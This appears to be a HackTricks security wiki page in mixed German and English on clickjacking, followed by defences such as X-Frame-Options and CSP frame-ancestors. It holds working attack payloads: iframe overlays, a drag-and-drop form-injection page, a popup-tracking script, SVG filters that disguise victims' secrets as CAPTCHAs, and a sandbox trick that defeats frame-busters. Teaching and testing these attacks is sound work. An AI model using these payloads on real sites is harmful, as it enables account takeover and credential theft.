Clickjacking

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist Clickjacking

Bei einem Clickjacking-Angriff wird ein user tricked, sodass er ein element auf einer Webseite zu clicking ausführt, das entweder invisible ist oder als anderes Element getarnt ist. Diese Manipulation kann zu unbeabsichtigten Folgen für den user führen, wie dem Herunterladen von malware, der redirection zu bösartigen Webseiten, der Preisgabe von credentials oder sensiblen Informationen, Geldüberweisungen oder dem Online-Kauf von Produkten.

Prepopulate forms trick

Manchmal ist es möglich, die die Werte von Formularfeldern mittels GET parameters beim Laden einer Seite zu füllen. Ein attacker kann dieses Verhalten ausnutzen, um ein Formular mit beliebigen Daten zu füllen und die clickjacking payload zu senden, sodass der user den Button Submit drückt.

Populate form with Drag&Drop

Wenn du brauchst, dass der user ein fill a form, aber du ihn nicht direkt bitten willst, spezifische Informationen einzugeben (wie die email und/oder ein spezifisches password, das du kennst), kannst du ihn einfach bitten, etwas zu Drag&Drop, das deine kontrollierten Daten einträgt, wie in this example.

Basic Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Mehrstufiger Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Klick-Payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Wenn du eine XSS attack that requires a user to click auf ein Element identifiziert hast, um die XSS zu triggern, und die Seite für clickjacking verwundbar ist, kannst du das ausnutzen, um den user dazu zu bringen, den Button/Link zu klicken.
Beispiel:
Du hast eine self XSS in einigen privaten Accountdaten gefunden (Daten, die only you can set and read). Die Seite mit dem Formular, um diese Daten zu setzen, ist vulnerable gegenüber Clickjacking und du kannst das Formular mit den GET parameters prepopulate.
Ein attacker könnte einen Clickjacking-Angriff gegen diese Seite vorbereiten, das Formular mit dem XSS payload prepopulating und den user dazu tricking, das Submit-Formular abzusenden. Wenn also das Formular submitted wird und die Werte verändert sind, wird der user die XSS ausführen.

DoubleClickjacking

Firstly explained in this post, diese Technik würde das victim auffordern, auf einen Button einer custom page an einer bestimmten Position doppelt zu klicken, und die Zeitdifferenzen zwischen mousedown und onclick events ausnutzen, um während des Doppelklicks die victim page zu laden, sodass das victim tatsächlich einen legitimen Button auf der victim page klickt.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Diese Technik erlaubt es, den user dazu zu bringen, an genau einer Stelle auf der victim page zu klicken und damit jeden Schutz gegen Clickjacking zu umgehen. Daher muss der attacker sensible Aktionen finden, die mit nur einem Klick ausgeführt werden können, wie z. B. OAuth prompts zum Akzeptieren von Berechtigungen.

Einige PoCs verzichten komplett auf iframes und halten ein background popup direkt unter dem Cursor ausgerichtet. Die attacker page tracked mousemove und benutzt ein kleines Popup (window.open), das mit moveTo() verschoben wird, während es same-origin ist; sobald es ausgerichtet ist, wird es zurück zur target origin umgeleitet, sodass der nächste Klick auf den echten Button trifft. Da cross‑origin moveTo() blockiert ist, wird das Popup kurzzeitig zu einer attacker origin navigiert, um es neu zu positionieren, danach bringen location/history.back() es zurück zum Ziel. Um das target beim Klick sichtbar zu machen, kann der attacker das Popup with the same window name erneut öffnen, um es in den Vordergrund zu bringen, ohne die URL zu ändern.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko-Versionen erlauben, dass CSS filter:url(#id) auf cross-origin iframes angewendet wird. Die gerasterten Pixel des iframe werden dem SVG-Filtergraphen als SourceGraphic zugänglich gemacht, sodass Primitive wie feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology usw. die UI des Opfers beliebig verzerren können, bevor der Benutzer sie sieht, obwohl der Angreifer niemals das DOM berührt. Ein einfacher Liquid-Glass-Style-Filter sieht so aus:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nützliche Primitives: feImage lädt attacker bitmaps (z. B., overlays, displacement maps); feFlood erzeugt einfarbige Masken; feOffset/feGaussianBlur verfeinern Hervorhebungen; feDisplacementMap bricht/verbiegt Text; feComposite operator="arithmetic" implementiert beliebige pro-Kanal-Rechenoperationen (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), was für Kontrastverstärkung, Maskierung und AND/OR-Operationen ausreicht; feTile schneidet und repliziert Pixel-Proben; feMorphology vergrößert/verkleinert Striche; feColorMatrix verschiebt Luma in Alpha, um präzise Masken zu erstellen.

Geheimnisse in CAPTCHA-ähnliche Eingabeaufforderungen verfremden

Wenn ein framable Endpoint Geheimnisse (tokens, reset codes, API keys) darstellt, kann der Angreifer sie so verfremden, dass sie wie ein CAPTCHA aussehen und zu manueller Transkription zwingen:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die verzerrten Pixel täuschen den Benutzer dazu, die Captcha-ähnliche Anzeige innerhalb des vom Angreifer kontrollierten <input> „zu lösen“, dessen pattern das echte Geheimnis des Opfers durchsetzt.

Recontextualizing victim inputs

Filter können Platzhalter-/Validierungstext chirurgisch entfernen, während sie die Tastatureingaben des Benutzers erhalten. Ein möglicher Ablauf:

  1. feComposite operator="arithmetic" k2≈4 verstärkt die Helligkeit, sodass grauer Hilfetext bis weiß sättigt.
  2. feTile begrenzt den Arbeitsbereich auf das Eingaberechteck.
  3. feMorphology operator="erode" verdickt die dunklen Glyphen, die das Opfer tippt, und speichert sie via result="thick".
  4. feFlood erzeugt eine weiße Fläche, feBlend mode="difference" mit thick, und ein zweites feComposite k2≈100 verwandelt das in eine scharfe Luma-Matte.
  5. feColorMatrix verschiebt diese Luma in den Alpha-Kanal, und feComposite in="SourceGraphic" operator="in" behält nur die vom Benutzer eingegebenen Glyphen.
  6. Ein weiteres feBlend in2="white" plus eine schmale Zuschneidung ergibt ein sauberes Textfeld, woraufhin der Angreifer eigene HTML-Labels (z. B. „Geben Sie Ihre E-Mail ein“) darüber legt, während das versteckte iframe weiterhin die Passwort-Richtlinie der Origin der Opferseite durchsetzt.

Safari hat Probleme mit feTile; derselbe Effekt lässt sich für WebKit-only payloads mit räumlichen Masken reproduzieren, die aus feFlood + feColorMatrix + feComposite aufgebaut sind.

Pixel probes, logic and state machines

Durch Zuschneiden eines 2–4 px Bereichs mit feTile und Kacheln auf 100% des Viewports verwandelt der Angreifer die abgetastete Farbe in eine Vollbild-Textur, die mittels Schwellenwert in eine boolesche Maske umgewandelt werden kann:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Für beliebige Farben liefert eine feFlood-Referenz (z. B. #0B57D0) plus feBlend mode="difference" und ein weiteres arithmetic composite (k2≈100, k4 als Toleranz) Weiß nur dann aus, wenn das abgetastete Pixel mit dem Zielton übereinstimmt. Diese Masken in feComposite mit abgestimmten k1..k4 zu speisen erzeugt logische Gatter: AND über k1=1, OR über k2=k3=1, XOR über feBlend mode="difference", NOT durch Mischen gegen Weiß. Das Verketten der Gatter baut einen Full Adder innerhalb des Filter-Graphs und beweist, dass die Pipeline funktional vollständig ist.

Angreifer können daher UI-Zustand ohne JavaScript auslesen. Beispielhafte Booleans aus einem Modal-Workflow:

  • D (Dialog sichtbar): eine abgedunkelte Ecke abfragen und gegen Weiß testen.
  • L (Dialog geladen): die Koordinaten abfragen, an denen der Button erscheint, sobald er bereit ist.
  • C (Checkbox aktiviert): das Pixel der Checkbox mit dem aktiven Blau #0B57D0 vergleichen.
  • R (rotes Erfolgs-/Fehlerbanner): feMorphology und rote Schwellenwerte innerhalb des Banner-Rechtecks verwenden.

Jeder erkannte Zustand steuert ein anderes Overlay-Bitmap, das via feImage xlink:href="data:..." eingebettet ist. Diese Bitmaps mit D, L, C, R zu maskieren hält die Overlays synchron zum echten Dialog und führt das Opfer durch mehrstufige Workflows (Passwortzurücksetzungen, Genehmigungen, destruktive Bestätigungen), ohne jemals den DOM offenzulegen.

Sandboxed iframe Basic-Auth-Dialog (no allow-popups)

Ein sandboxed iframe ohne allow-popups kann trotzdem ein vom Browser gesteuertes HTTP Basic Authentication modal anzeigen, wenn ein Ladevorgang mit 401 und WWW-Authenticate antwortet. Der Dialog wird von der Netzwerk-/Auth-Ebene des Browsers erzeugt (nicht von JS-alert/prompt/confirm), daher unterdrücken Sandbox-Popup-Beschränkungen ihn nicht. Wenn du das iframe scriptbar machen kannst (z. B. sandbox="allow-scripts"), kannst du es zu jedem Endpoint navigieren, der eine Basic Auth challenge ausgibt:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Sobald die Antwort eintrifft, fordert der Browser Anmeldedaten an, obwohl Popups deaktiviert sind. Framing einer vertrauenswürdigen Origin mit diesem Trick ermöglicht UI redress/phishing: unerwartete modale Aufforderungen innerhalb eines “sandboxed” Widgets können Benutzer verwirren oder Passwortmanager dazu veranlassen, gespeicherte Anmeldedaten anzubieten.

Browser-Erweiterungen: DOM-based autofill clickjacking

Abgesehen vom Iframing von Opferseiten können Angreifer UI-Elemente von Browser-Erweiterungen angreifen, die in die Seite injiziert werden. Passwortmanager rendern autofill dropdowns in der Nähe fokussierter Eingabefelder; durch das Fokussieren eines vom Angreifer kontrollierten Felds und das Verbergen/Überdecken des Dropdowns der Extension (opacity/overlay/top-layer tricks) kann ein erzwungener Klick des Benutzers ein gespeichertes Element auswählen und sensible Daten in vom Angreifer kontrollierte Eingaben eintragen. Diese Variante benötigt keine iframe-Exposition und funktioniert vollständig über DOM/CSS-Manipulation.

Ein reales Beispiel: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategien zur Abschwächung von Clickjacking

Clientseitige Abwehrmaßnahmen

Auf dem Client ausgeführte Skripte können Maßnahmen ergreifen, um Clickjacking zu verhindern:

  • Sicherstellen, dass das Anwendungsfenster das Haupt- bzw. Top-Fenster ist.
  • Alle Frames sichtbar machen.
  • Klicks auf unsichtbare Frames verhindern.
  • Potenzielle Clickjacking-Versuche erkennen und Benutzer warnen.

Diese frame-busting Skripte können jedoch umgangen werden:

  • Browser-Sicherheitseinstellungen: Einige Browser könnten diese Skripte aufgrund ihrer Sicherheitseinstellungen oder fehlender JavaScript-Unterstützung blockieren.
  • HTML5 iframe sandbox Attribute: Ein Angreifer kann frame-buster Skripte neutralisieren, indem er das sandbox-Attribut mit den Werten allow-forms oder allow-scripts setzt, ohne allow-top-navigation. Dadurch kann das iframe nicht prüfen, ob es das Top-Fenster ist, z. B.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die Werte allow-forms und allow-scripts ermöglichen Aktionen innerhalb des iframe, während die Top-Level-Navigation deaktiviert wird. Um die beabsichtigte Funktionalität der Zielseite sicherzustellen, können je nach Art des Angriffs zusätzliche Berechtigungen wie allow-same-origin und allow-modals erforderlich sein. Meldungen in der Browser-Konsole können Hinweise geben, welche Berechtigungen erlaubt werden müssen.

Serverseitige Abwehrmaßnahmen

X-Frame-Options

Der X-Frame-Options HTTP-Antwort-Header informiert Browser darüber, ob das Rendern einer Seite in einem <frame> oder <iframe> legitim ist und hilft so, Clickjacking zu verhindern:

  • X-Frame-Options: deny - Keine Domain kann den Inhalt einbetten.
  • X-Frame-Options: sameorigin - Nur die aktuelle Site kann den Inhalt einbetten.
  • X-Frame-Options: allow-from https://trusted.com - Nur die angegebene ‘uri’ kann die Seite einbetten.
  • Beachte die Einschränkungen: Wenn der Browser diese Direktive nicht unterstützt, funktioniert sie möglicherweise nicht. Manche Browser bevorzugen stattdessen die CSP frame-ancestors-Direktive.

Content Security Policy (CSP) frame-ancestors directive

Die frame-ancestors-Direktive in CSP ist die empfohlene Methode zum Schutz vor Clickjacking:

  • frame-ancestors 'none' - Entspricht X-Frame-Options: deny.
  • frame-ancestors 'self' - Entspricht X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Entspricht X-Frame-Options: allow-from.

Zum Beispiel erlaubt die folgende CSP das Einbetten nur von derselben Domain:

Content-Security-Policy: frame-ancestors 'self';

Weitere Details und komplexe Beispiele können in der frame-ancestors CSP documentation und in der Mozilla’s CSP frame-ancestors documentation gefunden werden.

Content Security Policy (CSP) mit child-src und frame-src

Content Security Policy (CSP) ist eine Sicherheitsmaßnahme, die hilft, Clickjacking und andere Code-Injection-Angriffe zu verhindern, indem sie festlegt, welche Quellen der Browser zum Laden von Inhalten zulassen soll.

frame-src-Direktive

  • Definiert gültige Quellen für Frames.
  • Spezifischer als die default-src-Direktive.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt Frames aus derselben Origin (self) und https://trusted-website.com.

child-src Direktive

  • Eingeführt in CSP level 2, um gültige Quellen für web workers und frames festzulegen.
  • Dient als Fallback für frame-src und worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Diese Richtlinie erlaubt frames und workers von derselben Origin (self) und https://trusted-website.com.

Hinweise zur Verwendung:

  • Veraltet: child-src wird zugunsten von frame-src und worker-src schrittweise eingestellt.
  • Fallback-Verhalten: Wenn frame-src fehlt, wird child-src als Fallback für Frames verwendet. Wenn beide fehlen, wird default-src verwendet.
  • Strikte Quellen-Definition: Schließen Sie nur vertrauenswürdige Quellen in die Direktiven ein, um Ausnutzung zu verhindern.

JavaScript Frame-Breaking Scripts

Obwohl nicht völlig narrensicher, können JavaScript-based frame-busting scripts verwendet werden, um zu verhindern, dass eine Webseite in einem Frame eingebettet wird. Beispiel:

if (top !== self) {
top.location = self.location
}

Einsatz von Anti-CSRF Tokens

  • Token-Validierung: Verwende anti-CSRF tokens in Webanwendungen, um sicherzustellen, dass zustandsändernde Anfragen absichtlich vom Benutzer und nicht durch eine Clickjacked page ausgelöst werden.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks